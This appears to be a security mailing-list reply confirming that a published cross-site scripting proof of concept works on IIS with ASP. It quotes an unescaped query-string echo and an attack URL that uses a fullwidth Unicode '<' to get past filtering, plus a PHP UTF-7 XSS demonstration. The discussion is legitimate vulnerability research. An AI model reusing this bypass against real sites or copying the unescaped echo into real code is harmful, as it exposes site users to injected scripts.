Brian Eaton wrote:
(Cracking up that somebody going by the handle ascii is commenting on
character encoding issues. =)
hehe funsec apart, Brian, i can confirm you that the 3APA3A poc works as
expected. i really don't know what benefits can stem from defending asp
(or any other language)
i just installed a (genuine) vanilla windows xp ita plus iss and asp to
replicate the poc on a machine different from the previous one and it
worked too
for convenience here's the screenshots and the video
http://www.ush.it/team/ascii/hack-iis_asp_utf/xss1.png
http://www.ush.it/team/ascii/hack-iis_asp_utf/xss2.png
http://www.ush.it/team/ascii/hack-iis_asp_utf/xss4.png
http://www.ush.it/team/ascii/hack-iis_asp_utf/xss5.png
http://www.ush.it/team/ascii/hack-iis_asp_utf/xss6.png
http://www.filefactory.com/file/c40485/ (fast one)
http://www.ush.it/team/ascii/hack-iis_asp_utf/brian_video.avi (slow)
the tested poc is the unmodified 3APA3A ones
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
<%=Request.QueryString("q")%>
<pre>
<h2>3APA3A poc</h2>
http://example.com/test.asp?q=%uFF1Cscript>alert("Hello")</script>
where test.asp is
< %=Request.QueryString("q")% >
launches javascript
</pre>
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
my previous writing was based on a simple empirical test, i took the
above and converted to php and jsp (eg: <?php echo $_GET['q']; ?>) and
it didn't worked
the over php poc is pretty different and reminded me this other poc
http://shiflett.org/blog/2005/dec/google-xss-example
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
<?php
header('Content-Type: text/html; charset=UTF-7');
$string = "<script>alert('XSS');</script>";
$string = mb_convert_encoding($string, 'UTF-7');
echo htmlentities($string);
?>
--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--8<--
eg. it uses specific functions to demonstrate a vulnerability and is
obviously different from <?php echo $_GET['q']; ?>
and to clarify i'm not saying that this is anyhow related with
http://www.gamasec.net/english/gs07-01.html as for the use of charset
encoding issues
best regards,
Francesco `ascii` Ongaro
http://www.ush.it/
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